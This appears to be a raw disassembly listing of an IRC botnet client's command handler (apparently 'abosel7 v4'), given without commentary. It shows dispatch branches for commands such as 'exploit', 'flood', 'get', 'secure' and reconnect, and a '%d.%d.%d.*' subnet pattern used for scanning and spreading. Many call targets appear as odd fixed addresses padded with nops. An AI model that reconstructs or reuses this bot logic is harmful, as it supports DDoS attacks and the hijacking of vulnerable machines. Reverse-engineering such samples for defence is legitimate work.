		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_43150C
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_4314EC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26907CFh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_4314D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_4314B4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_431494
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_431470
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 268086Bh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_431418
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4D08BC
		call	dword_4D077C
		call	sub_418359
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_4313FC
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_4313E0

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_4313C8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_431390
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_431378
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_431374
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_431354
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_431318
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_431300

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_4312D4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_431284
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_431250
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_431240
		push	offset dword_431230
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_431224
		push	offset dword_431214
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_4311EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset dword_4311B0
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431184
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_431144
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_431110
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset dword_4310D4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_431024
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_431014
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4322CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_430FE8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_430FBC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_4322CC

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4D3FD8, ebx
		jz	short loc_404A4A
		push	offset dword_4D39B8

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_430F80
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_430F40
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4D39B8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4D3FD8, 1
		pop	ecx
		push	esi
		push	offset unk_430F14

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset loc_429150
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_430EDC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_430E9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 26907CFh
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
